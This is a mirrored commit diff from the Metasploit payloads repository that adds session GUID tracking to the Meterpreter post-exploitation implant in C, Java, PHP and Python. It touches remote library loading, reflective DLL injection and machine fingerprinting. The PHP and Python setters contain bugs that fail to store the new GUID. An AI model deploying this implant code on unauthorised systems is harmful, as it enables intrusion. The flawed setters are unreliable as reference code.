1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-08 14:36:22 +01:00

Land #203, Add session GUID support

This commit is contained in:
Brent Cook 2017-06-09 00:59:37 -05:00
commit 0ba547b360
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
14 changed files with 198 additions and 46 deletions

View File

@ -1,13 +1,13 @@
DATADIR:=../metasploit-framework/data
METERPDIR:=$(DATADIR)/meterpreter
install: \
install-c-windows \
install-all: \
install-windows \
install-java \
install-php \
install-python
install-c-windows:
install-windows:
@echo "Installing Windows payloads"
@if [ -d c/meterpreter/output/x86 ]; then \
cp -a c/meterpreter/output/x86/*.dll $(METERPDIR); \

View File

@ -9,7 +9,7 @@
#define CERT_HASH_SIZE 20
#define URL_SIZE 512
#define UA_SIZE 256
#define UUID_SIZE 16
#define UUID_SIZE 16
#define PROXY_HOST_SIZE 128
#define PROXY_USER_SIZE 64
#define PROXY_PASS_SIZE 64
@ -24,7 +24,8 @@ typedef struct _MetsrvSession
DWORD comms_fd; ///! Socket handle for communications (if there is one).
DWORD exit_func; ///! Exit func identifier for when the session ends.
int expiry; ///! The total number of seconds to wait before killing off the session.
BYTE uuid[UUID_SIZE]; ///! UUID
BYTE uuid[UUID_SIZE]; ///! UUID
BYTE session_guid[sizeof(GUID)]; ///! Current session GUID
} MetsrvSession;
typedef struct _MetsrvTransportCommon

View File

@ -163,6 +163,7 @@ typedef enum
// session/machine identification
TLV_TYPE_MACHINE_ID = TLV_VALUE(TLV_META_TYPE_STRING, 460), ///! Represents a machine identifier.
TLV_TYPE_UUID = TLV_VALUE(TLV_META_TYPE_RAW, 461), ///! Represents a UUID.
TLV_TYPE_SESSION_GUID = TLV_VALUE(TLV_META_TYPE_RAW, 462), ///! Represents a Session GUID.
// Cryptography
TLV_TYPE_CIPHER_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 500), ///! Represents the name of a cipher.

View File

@ -7,6 +7,8 @@ PLIST gExtensionList = NULL;
DWORD request_core_enumextcmd(Remote* remote, Packet* packet);
DWORD request_core_machine_id(Remote* remote, Packet* packet);
DWORD request_core_get_session_guid(Remote* remote, Packet* packet);
DWORD request_core_set_session_guid(Remote* remote, Packet* packet);
DWORD request_core_set_uuid(Remote* remote, Packet* packet);
BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result);
@ -16,6 +18,8 @@ Command customCommands[] =
COMMAND_REQ("core_loadlib", request_core_loadlib),
COMMAND_REQ("core_enumextcmd", request_core_enumextcmd),
COMMAND_REQ("core_machine_id", request_core_machine_id),
COMMAND_REQ("core_get_session_guid", request_core_get_session_guid),
COMMAND_REQ("core_set_session_guid", request_core_set_session_guid),
COMMAND_REQ("core_set_uuid", request_core_set_uuid),
COMMAND_INLINE_REP("core_patch_url", request_core_patch_url),
COMMAND_TERMINATOR

View File

@ -236,6 +236,8 @@ static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LP
// start by preparing the session, using the given UUID if specified, otherwise using
// the existing session UUID
memcpy(sess->uuid, uuid == NULL ? remote->orig_config->session.uuid : uuid, UUID_SIZE);
// session GUID should persist across migration
memcpy(sess->session_guid, remote->orig_config->session.session_guid, sizeof(GUID));
sess->expiry = remote->sess_expiry_end - current_unix_timestamp();
sess->exit_func = EXITFUNC_THREAD; // migration we default to this.
@ -314,6 +316,12 @@ DWORD server_setup(MetsrvConfig* config)
config->session.uuid[8], config->session.uuid[9], config->session.uuid[10], config->session.uuid[11],
config->session.uuid[12], config->session.uuid[13], config->session.uuid[14], config->session.uuid[15]);
dprintf("[SERVER] Session GUID: %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X",
config->session.session_guid[0], config->session.session_guid[1], config->session.session_guid[2], config->session.session_guid[3],
config->session.session_guid[4], config->session.session_guid[5], config->session.session_guid[6], config->session.session_guid[7],
config->session.session_guid[8], config->session.session_guid[9], config->session.session_guid[10], config->session.session_guid[11],
config->session.session_guid[12], config->session.session_guid[13], config->session.session_guid[14], config->session.session_guid[15]);
// if hAppInstance is still == NULL it means that we havent been
// reflectivly loaded so we must patch in the hAppInstance value
// for use with loading server extensions later.

View File

@ -8,6 +8,13 @@ extern PLIST gExtensionList;
// see common/base.c
extern Command *extensionCommands;
/*
* @brief Perform the initialisation of stageless extensions, if rquired.
* @param extensionName The name of the extension to initialise.
* @param data Pointer to the data containing the initialisation data.
* @param dataSize Size of the data referenced by \c data.
* @returns Indication of success or failure.
*/
DWORD stagelessinit_extension(const char* extensionName, LPBYTE data, DWORD dataSize)
{
dprintf("[STAGELESSINIT] searching for extension init for %s in %p", extensionName, gExtensionList);
@ -25,7 +32,16 @@ DWORD stagelessinit_extension(const char* extensionName, LPBYTE data, DWORD data
return ERROR_NOT_FOUND;
}
DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* pRemote, Packet* pResponse, Command* pFirstCommand)
/*
* @brief Load an extension from the given library handle.
* @param hLibrary handle to the library to load/init.
* @param bLibLoadedReflectivly Indication of whether the library was loaded using RDI.
* @param remote Pointer to the \c Remote instance.
* @param response Pointer to the \c Response packet.
* @param pFirstCommand Pointer to the head of the loaded command list.
* @returns Indication of success or failure.
*/
DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* remote, Packet* response, Command* pFirstCommand)
{
DWORD dwResult = ERROR_OUTOFMEMORY;
PEXTENSION pExtension = (PEXTENSION)malloc(sizeof(EXTENSION));
@ -58,9 +74,9 @@ DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* pRemo
// patch in the metsrv.dll's HMODULE handle, used by the server extensions for delay loading
// functions from the metsrv.dll library. We need to do it this way as LoadLibrary/GetProcAddress
// wont work if we have used Reflective DLL Injection as metsrv.dll will be 'invisible' to these functions.
if (pRemote)
if (remote)
{
pRemote->met_srv = hAppInstance;
remote->met_srv = hAppInstance;
}
dprintf("[SERVER] Calling init on extension, address is 0x%p", pExtension->init);
@ -71,7 +87,7 @@ DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* pRemo
dprintf("[SERVER] Calling init()...");
pExtension->end = pFirstCommand;
dwResult = pExtension->init(pRemote);
dwResult = pExtension->init(remote);
pExtension->start = extensionCommands;
if (dwResult == ERROR_SUCCESS)
@ -99,11 +115,11 @@ DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* pRemo
}
dprintf("[SERVER] Called init()...");
if (pResponse)
if (response)
{
for (Command* command = pExtension->start; command != pExtension->end; command = command->next)
{
packet_add_tlv_string(pResponse, TLV_TYPE_METHOD, command->method);
packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
// inform existing extensions of the new commands
for (PNODE node = gExtensionList->start; node != NULL; node = node->next)
@ -122,28 +138,15 @@ DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* pRemo
return dwResult;
}
/*
* core_loadlib
* ------------
*
* Load a library into the address space of the executing process.
*
* TLVs:
*
* req: TLV_TYPE_LIBRARY_PATH -- The path of the library to load.
* req: TLV_TYPE_FLAGS -- Library loading flags.
* opt: TLV_TYPE_TARGET_PATH -- The contents of the library if uploading.
* opt: TLV_TYPE_DATA -- The contents of the library if uploading.
*
* TODO:
*
* - Implement in-memory library loading
* @brief Load a library from the request packet.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming request \c Packet.
* @returns Indication of success or failure.
*/
DWORD request_core_loadlib(Remote *pRemote, Packet *pPacket)
DWORD request_core_loadlib(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(pPacket);
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS;
HMODULE library;
PCHAR libraryPath;
@ -154,8 +157,8 @@ DWORD request_core_loadlib(Remote *pRemote, Packet *pPacket)
do
{
libraryPath = packet_get_tlv_value_string(pPacket, TLV_TYPE_LIBRARY_PATH);
flags = packet_get_tlv_value_uint(pPacket, TLV_TYPE_FLAGS);
libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH);
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
// Invalid library path?
if (!libraryPath)
@ -171,9 +174,9 @@ DWORD request_core_loadlib(Remote *pRemote, Packet *pPacket)
Tlv dataTlv;
// Get the library's file contents
if ((packet_get_tlv(pPacket, TLV_TYPE_DATA,
if ((packet_get_tlv(packet, TLV_TYPE_DATA,
&dataTlv) != ERROR_SUCCESS) ||
(!(targetPath = packet_get_tlv_value_string(pPacket,
(!(targetPath = packet_get_tlv_value_string(packet,
TLV_TYPE_TARGET_PATH))))
{
res = ERROR_INVALID_PARAMETER;
@ -226,19 +229,25 @@ DWORD request_core_loadlib(Remote *pRemote, Packet *pPacket)
// call its Init routine
if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library)
{
res = load_extension(library, bLibLoadedReflectivly, pRemote, response, first);
res = load_extension(library, bLibLoadedReflectivly, remote, response, first);
}
} while (0);
if (response)
{
packet_transmit_response(res, pRemote, response);
packet_transmit_response(res, remote, response);
}
return res;
}
/*
* @brief Set/update the current UUID for the session.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming request \c Packet.
* @returns Indication of success or failure.
*/
DWORD request_core_set_uuid(Remote* remote, Packet* packet)
{
Packet* response = packet_create_response(packet);
@ -257,14 +266,62 @@ DWORD request_core_set_uuid(Remote* remote, Packet* packet)
return ERROR_SUCCESS;
}
DWORD request_core_machine_id(Remote* pRemote, Packet* pPacket)
/*
* @brief Get the current session GUID.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming request \c Packet.
* @returns Indication of success or failure.
*/
DWORD request_core_get_session_guid(Remote* remote, Packet* packet)
{
Packet* response = packet_create_response(packet);
if (response)
{
packet_add_tlv_raw(response, TLV_TYPE_SESSION_GUID, &remote->orig_config->session.session_guid, sizeof(GUID));
packet_transmit_response(ERROR_SUCCESS, remote, response);
}
return ERROR_SUCCESS;
}
/*
* @brief Set the current session GUID.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming request \c Packet.
* @returns Indication of success or failure.
*/
DWORD request_core_set_session_guid(Remote* remote, Packet* packet)
{
DWORD result = ERROR_SUCCESS;
LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID);
if (sessionGuid != NULL)
{
memcpy(&remote->orig_config->session.session_guid, sessionGuid, sizeof(GUID));
}
else
{
result = ERROR_BAD_ARGUMENTS;
}
packet_transmit_empty_response(remote, packet, result);
return ERROR_SUCCESS;
}
/*
* @brief Get the current machine identifier.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming request \c Packet.
* @returns Indication of success or failure.
*/
DWORD request_core_machine_id(Remote* remote, Packet* packet)
{
DWORD res = ERROR_SUCCESS;
dprintf("[CORE] Running request_core_machine_id");
Packet* pResponse = packet_create_response(pPacket);
dprintf("[CORE] pResponse is %p", pResponse);
Packet* response = packet_create_response(packet);
dprintf("[CORE] response is %p", response);
if (pResponse)
if (response)
{
wchar_t buffer[MAX_PATH];
if (GetSystemDirectory(buffer, MAX_PATH) != 0)
@ -280,12 +337,12 @@ DWORD request_core_machine_id(Remote* pRemote, Packet* pPacket)
GetComputerName(computerName, &computerNameSize);
_snwprintf_s(buffer, MAX_PATH, MAX_PATH - 1, L"%04x-%04x:%s", HIWORD(serialNumber), LOWORD(serialNumber), computerName);
packet_add_tlv_wstring(pResponse, TLV_TYPE_MACHINE_ID, buffer);
packet_add_tlv_wstring(response, TLV_TYPE_MACHINE_ID, buffer);
dprintf("[CORE] sending machine id: %S", buffer);
}
packet_transmit_response(res, pRemote, pResponse);
packet_transmit_response(res, remote, response);
}
return ERROR_SUCCESS;
}
}

View File

@ -43,6 +43,7 @@ public class Meterpreter {
private final TransportList transports = new TransportList();
protected int ignoreBlocks = 0;
private byte[] uuid;
private byte[] sessionGUID;
private long sessionExpiry;
protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configuration) throws MalformedURLException {
@ -59,6 +60,9 @@ public class Meterpreter {
this.uuid = ConfigParser.readBytes(configuration, csr, ConfigParser.UUID_LEN);
csr += ConfigParser.UUID_LEN;
this.sessionGUID = ConfigParser.readBytes(configuration, csr, ConfigParser.GUID_LEN);
csr += ConfigParser.GUID_LEN;
// here we need to loop through all the given transports, we know that we're
// going to get at least one.
while (configuration[csr] != '\0') {
@ -92,6 +96,14 @@ public class Meterpreter {
this.uuid = newUuid;
}
public byte[] getSessionGUID() {
return this.sessionGUID;
}
public void setSessionGUID(byte[] guid) {
this.sessionGUID = guid;
}
public long getExpiry() {
return (this.sessionExpiry - System.currentTimeMillis()) / Transport.MS;
}
@ -139,6 +151,7 @@ public class Meterpreter {
this.loadExtensions = loadExtensions;
this.commandManager = new CommandManager();
this.channels.add(null); // main communication channel?
if (redirectErrors) {
errBuffer = new ByteArrayOutputStream();
err = new PrintStream(errBuffer);

View File

@ -64,8 +64,9 @@ public interface TLVType {
public static final int TLV_TYPE_TRANS_RETRY_WAIT = TLVPacket.TLV_META_TYPE_UINT | 440;
public static final int TLV_TYPE_TRANS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 441;
public static final int TLV_TYPE_MACHINE_ID = TLVPacket.TLV_META_TYPE_STRING | 460;
public static final int TLV_TYPE_UUID = TLVPacket.TLV_META_TYPE_RAW | 461;
public static final int TLV_TYPE_MACHINE_ID = TLVPacket.TLV_META_TYPE_STRING | 460;
public static final int TLV_TYPE_UUID = TLVPacket.TLV_META_TYPE_RAW | 461;
public static final int TLV_TYPE_SESSION_GUID = TLVPacket.TLV_META_TYPE_RAW | 462;
public static final int TLV_TYPE_CIPHER_NAME = TLVPacket.TLV_META_TYPE_STRING | 500;
public static final int TLV_TYPE_CIPHER_PARAMETERS = TLVPacket.TLV_META_TYPE_GROUP | 501;

View File

@ -21,6 +21,8 @@ public class Loader implements ExtensionLoader {
mgr.registerCommand("core_loadlib", core_loadlib.class);
mgr.registerCommand("core_set_uuid", core_set_uuid.class);
mgr.registerCommand("core_machine_id", core_machine_id.class);
mgr.registerCommand("core_get_session_guid", core_get_session_guid.class);
mgr.registerCommand("core_set_session_guid", core_set_session_guid.class);
mgr.registerCommand("core_patch_url", core_patch_url.class);
mgr.registerCommand("core_shutdown", core_shutdown.class);
mgr.registerCommand("core_transport_set_timeouts", core_transport_set_timeouts.class);

View File

@ -0,0 +1,15 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.Utils;
import com.metasploit.meterpreter.command.Command;
public class core_get_session_guid implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
response.add(TLVType.TLV_TYPE_SESSION_GUID, meterpreter.getSessionGUID());
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,18 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.Utils;
import com.metasploit.meterpreter.command.Command;
public class core_set_session_guid implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
byte[] newGuid = request.getRawValue(TLVType.TLV_TYPE_SESSION_GUID, null);
if (newGuid != null) {
meterpreter.setSessionGUID(newGuid);
}
return ERROR_SUCCESS;
}
}

View File

@ -5,6 +5,7 @@ import java.io.UnsupportedEncodingException;
public class ConfigParser {
public static final int UUID_LEN = 16;
public static final int GUID_LEN = 16;
public static final int URL_LEN = 512;
public static final int UA_LEN = 256;

View File

@ -32,7 +32,8 @@ if (!isset($GLOBALS['readers'])) {
# global list of extension commands
if (!isset($GLOBALS['commands'])) {
$GLOBALS['commands'] = array("core_loadlib", "core_machine_id", "core_set_uuid");
$GLOBALS['commands'] = array("core_loadlib", "core_machine_id", "core_set_uuid",
"core_set_session_guid", "core_get_session_guid");
}
function register_command($c) {
@ -103,6 +104,7 @@ function socket_set_option($sock, $type, $opt, $value) {
# Payload definitions
#
define("PAYLOAD_UUID", "");
define("SESSION_GUID", "");
#
# Constants
@ -178,6 +180,7 @@ define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401);
define("TLV_TYPE_MACHINE_ID", TLV_META_TYPE_STRING | 460);
define("TLV_TYPE_UUID", TLV_META_TYPE_RAW | 461);
define("TLV_TYPE_SESSION_GUID", TLV_META_TYPE_RAW | 462);
define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500);
define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501);
@ -462,6 +465,21 @@ function get_hdd_label() {
return "";
}
function core_get_session_guid($req, &$pkt) {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_SESSION_GUID, $GLOBALS['SESSION_GUID']));
return ERROR_SUCCESS;
}
function core_set_session_guid($req, &$pkt) {
my_print("doing core_set_session_guid");
$new_guid = packet_get_tlv($req, TLV_TYPE_SESSION_GUID);
if ($new_guid != null) {
$GLOBALS['SESSION_ID'] = $new_guid['value'];
my_print("New Session GUID is {$GLOBALS['SESSION_GUID']}");
}
return ERROR_SUCCESS;
}
function core_machine_id($req, &$pkt) {
my_print("doing core_machine_id");
if (is_callable('gethostname')) {
@ -1227,6 +1245,7 @@ error_reporting(0);
# Add the payload UUID to globals, and use that from now on so that we can
# update it as required.
$GLOBALS['UUID'] = PAYLOAD_UUID;
$GLOBALS['SESSION_GUID'] = SESSION_GUID;
# If we don't have a socket we're standalone, setup the connection here.
# Otherwise, this is a staged payload, don't bother connecting

View File

@ -64,6 +64,7 @@ HTTP_CONNECTION_URL = None
HTTP_PROXY = None
HTTP_USER_AGENT = None
PAYLOAD_UUID = ''
SESSION_GUID = ''
SESSION_COMMUNICATION_TIMEOUT = 300
SESSION_EXPIRATION_TIMEOUT = 604800
SESSION_RETRY_TOTAL = 3600
@ -157,6 +158,7 @@ TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 441
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
TLV_TYPE_SESSION_GUID = TLV_META_TYPE_RAW | 462
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
@ -904,6 +906,16 @@ class PythonMeterpreter(object):
response += tlv_pack(TLV_TYPE_STRING, func_name)
return ERROR_SUCCESS, response
def _core_get_session_guid(self, request, response):
response += tlv_pack(TLV_TYPE_SESSION_GUID, SESSION_GUID)
return ERROR_SUCCESS, response
def _core_set_session_guid(self, request, response):
new_guid = packet_get_tlv(request, TLV_TYPE_SESSION_GUID)
if new_guid:
SESSION_GUID = new_guid['value']
return ERROR_SUCCESS, response
def _core_machine_id(self, request, response):
serial = ''
machine_name = platform.uname()[1]